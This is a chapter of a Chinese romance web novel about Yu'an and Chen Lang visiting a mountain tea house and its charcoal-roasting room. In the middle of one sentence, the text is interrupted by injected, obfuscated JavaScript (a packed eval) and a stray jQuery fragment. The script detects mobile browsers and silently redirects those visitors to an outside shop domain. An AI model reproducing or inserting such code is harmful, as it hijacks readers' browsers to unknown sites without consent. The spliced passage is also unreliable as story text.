周日早晨，予安站在衣柜前，盯着两件毛衣看了快三分钟。灰色那件领口不大不小，不会太正式也不会太随便。她把灰色拎出来挂在椅背上，又觉得袖子会不会太短，举起来对着窗外的光比了一下。
昨晚喝完那泡炭焙乌龙，翻来覆去到两点都没睡着。茶叶的回甘挂在舌根上，脑子越来越清醒。干脆爬起来，把陈朗发来的老板资料摊开，一口气写完了文案，半夜发了过去。
手机在床头柜上震了一下。陈朗：「到了。」
她套上毛衣，对着门口的穿衣镜扫了一眼，头发还行，领口刚好。抓起围巾和外套出了门。
楼下停着一辆深灰色的车。陈朗从驾驶座侧过头来看她，目光在她身上轻轻扫过，像在确认她穿得够不够暖。副驾的门从里面推开了。她弯腰坐进去，车里暖烘烘的，空调早就开着了，那股熟悉的干净气息瞬间裹住了她。
“早。”
“早。”
他穿着一件深蓝的毛衣，外面套了件黑色大衣。头发刚洗过，闻起来是干净的洗发水味。他伸手把副驾的座椅加热打开，指尖不经意间擦过她的膝盖，动作自然，却带起一丝细微的电流。
车子出了锦溪苑，往城外开。路两边的梧桐叶子早就落光了，光秃秃的枝桠在灰白的天色里安安静静地站着。出了城区，路变窄，两边的房子矮下去，山影从雾气里浮出来。
陈朗开车不说话，但也不沉默得让人不舒服。他偶尔侧一下头看她，目光在她侧脸和颈线停留片刻，像在确认她在不在，然后继续看路。那眼神带着点隐忍的温柔，让予安耳根微微发热。
“远吗？”予安问，声音比平时软了一点。
“不远。过了前面那个隧道就到。”
隧道不长，出来的时候光线变了，山坳里的雾薄了一些，太阳刚从山脊线上露出半个边。路两边出现了茶树，一垄一垄顺着山坡排上去，整整齐齐。冬天了，茶树不是春天的嫩绿，是一种深的、沉的墨绿，顶上盖了一层薄薄的霜，在初升的日光里闪着细碎的光。
予安趴在车窗边看。她没见过冬天的茶园。陈朗忽然伸手，把她这边车窗的遮阳帘往下拉了拉，低声说：“别着凉。”
他的手指离她脸颊很近，温热的呼吸几乎拂过她的鬓角。予安心跳漏了一拍，点点头没说话。
车拐进一条窄路，尽头是一栋白墙灰瓦的房子，门口挂着一块木匾：「南山茶舍」。一个围着深蓝围裙的女人站在门口，看见车停，笑着迎上来。
“陈朗！来这么早。”
她三十多岁，圆脸，说话爽利。看向予安时，上下打量了一下，笑意更深了。
“你就是予安？”
“你好。”
“可算见到你了。”她说，“你昨晚发来的文案我看了好几遍。炭火舔过茶叶，这个‘舔’字，你是怎么想出来的？”
“喝了三泡才写的。”予安说，脸颊还带着刚才车里的余温。
老板笑了。“我就知道。不是硬想出来的。”
她领着予安往屋里走。陈朗跟在后面，步子不快不慢，手掌在予安后腰虚虚扶了一下，隔着衣服也能感觉到那份稳重的力道，像随时准备护着她。
茶舍的堂屋不大，木架上摆着几排玻璃茶罐，深褐的、墨绿的、灰白的，像一小片一小片收起来的季节。堂屋后面有一个小天井，种着一棵桂花树，叶子落了大半，枝干在冬日的天光里显得干净利落。穿过天井，焙茶间的门就在尽头。
焙茶间在后院。推开门，一股热浪裹着茶香扑过来。屋里光线暗，正中央是一座传统的炭焙炉，砖砌的，炉膛里有暗红色的余烬，整间屋子都是暖的。地上铺着竹席，墙边码着几袋茶叶，空气干燥而安静。
“炭焙乌龙最怕急。”老板站在炉边，伸手在炉口上方感受了一下温度。“火要一点一点逼进去，急了一锅全废。你写的那个‘舔’字，就是这种感觉。文火慢慢来，让焦香刚好沾到茶叶的边缘。”
予安站在炉边，手心被热气烘着。她想起那天晚上写文案的状态，也是这种温度。写到“舔”的时候，脑子里是阿婆的刀，斜着下去。不急，一段一段来……
炉膛里的炭火偶尔噼啪响一声，声音不大，在安静的屋子里却很清晰。她低头看自己的掌心，被热气烘得微微发红。这座炉子看起来很老了，砖缝里有黑色的积年茶渍，周围的空气干燥而安静，像这个地方一直在等着什么，安静地等了很久。
她回头看了一眼。陈朗站在门口，没进来，却靠在门框上，双手插在口袋里，目光落在她身上。那目光不重，却带着灼人的专注，像要把她整个人都拢进视线里。炉火映在他深蓝毛衣上，也映在她微微泛红的脸颊上。
老板带她看焙好的茶。予安捏了一点放在手心里看了很久。陈朗终于走近，站在她身后，胸膛几乎贴上她的后背，伸手从她指间拈起一小撮茶叶，低声在她耳边说：“闻闻看。”
他的声音低沉，热气喷在她耳廓，带着淡淡的洗发水味和属于他的干净体温。予安身体微微一僵，心跳突然加快，那一刻炉火的热和身后男人的热交织在一起，让她呼吸都乱了半拍。
“你喝过我们的炭焙乌龙吗？”老板问。
“昨晚刚喝过。”
“她泡了三泡才动笔。”陈朗的声音从她身后传来，带着一丝不易察觉的骄傲。
老板看了他们一眼，眼神里多了一点了然。“陈朗可从没带人来过我这焙茶间。”
予安的手指在茶杯沿上停了一下，耳根发烫。
茶泡好了。老板递了一杯给予安。白瓷杯，茶汤是深琥珀色。她端起来先闻，陈朗也端着一杯，站在她身边，肩膀轻轻挨着她的。两人一起喝着同一炉火焙出的茶，暖意从胸口往下漫延，像有一根隐秘的丝线把他们牵得更近。
予安低头看杯中的茶汤，深琥珀色在炉火光里轻轻晃着，像含着一小片黄昏的光。
她又端起来喝了一口，茶汤滑过舌尖，先是一阵焙火的气息铺开，接着有微微的果酸在舌根化开，最后留下一种清甜的余韵，像山间雾气散尽后照进来的那一点阳光。
她想起昨晚在家泡的那一杯，味道确实不一样了。不只是环境的差别，是她自己也不一样了。
昨晚她是带着任务喝的，一口一口地品，想的是怎么写出来。
今天她只是坐在这里，什么都不用想，安心地感受茶。
“不一样。”她说。
“哪里不一样？”老板问。
“在家喝，是炭火的味道。在这里喝，是炭火的味道加上……”她停了一下。
“加上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735859|207030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
焙茶间的味道。”陈朗替她说完，目光却落在她微微湿润的唇上。
回程的时候快中午了。山间的雾气散了大半，阳光直接照在山坡上，茶树上的霜化了，叶子湿漉漉的，绿得发亮。
予安坐在副驾，怀里抱着老板塞给她的一罐还带着余温的茶叶。
陈朗开车，山路弯多，他过弯时减速，一只手忽然伸过来，轻轻覆在她放在腿上的手背上，掌心干燥而温暖，拇指在她手腕内侧轻轻摩挲了一下，才收回去继续握方向盘。
那一下触碰像羽毛，又像火种，让予安整条手臂都酥了。她侧头看他，阳光在他鼻梁和下颌上画了一道亮边，喉结微微滚动。她忽然觉得车厢里的空气都变稠了。
他从后座够了一个纸袋递给她。
“给你的。”
里面是一盒新鲜烤的桂花糕，每一块都缀着金黄的干桂花，看起来柔软又诱人。
“你做的？”
“嗯。早上烤的。”
“你什么时候起来的？”
他看了她一眼。
“六点。”
予安的动作停了一拍。
予安低头看着那盒桂花糕，心口发软。
他六点起来烤桂花糕糕，然后来接她……
她撕了一小块放进嘴里，甜香在舌尖化开。
她又撕了一块，抬手递到他嘴边，指尖轻轻碰到了他的下唇。
他愣了一下，张嘴接住，嘴唇温热地擦过她的指腹。
嚼了两下，他低声说：“好吃。”
目光却深沉地锁着她，像在品尝的不是桂花糕，而是她指尖的温度。
予安没把手立刻缩回去，指尖在他唇边多停留了一秒，才收回。
车里的安静变得黏稠而暧昧，他把车窗开了一条缝，冷风进来，却吹不散两人之间升腾的热意。
回到锦溪苑已经快下午两点了。予安进门后，把茶叶罐和桂花糕放在茶几上，脑子里还残留着陈朗指腹摩挲她手腕的那一点余温。
她在沙发上坐了一会儿，没急着开电脑。那罐茶叶还带着焙茶间的余温，桂花糕的盒子搁在旁边，绑着一根细麻绳。
她把手放在茶罐上，感受那一点暖意从掌心透进来，想起他站在炉边的侧脸，想起他把遮阳板拉下来时擦过她脸颊的指尖。屋子里安安静静的，窗外偶尔有鸟叫，她觉得自己整个人都是暖的。
她打开电脑，读完《冬吃白菜》的初稿，没有改一个字，直接点了发布。
傍晚，私信来了。她点开一看，是本地生活号的编辑，说看了她公众号最近几篇文章，问她有没有兴趣写一个菜场专栏。
她心跳加快地反复看了两遍，确认没有看错，然后回复了「可以写」，接着简短聊了几句专栏的方向。刚放下手机，陈朗的消息进来了。
陈朗：「今天开心吗。」
她回：「开心。」手指在屏幕上多停留了一会儿，想起今天他掌心的温度、耳边的低语，还有唇边那一点若有若无的触碰。
「那就好。」
予安看着那两个字，嘴角忍不住弯起。
她打开空白文档，打了一行字：菜场的菜和人。
窗外，栾树的枝干在路灯下安静地伸展，像在悄悄守着她心里刚萌芽的那点甜蜜与悸动。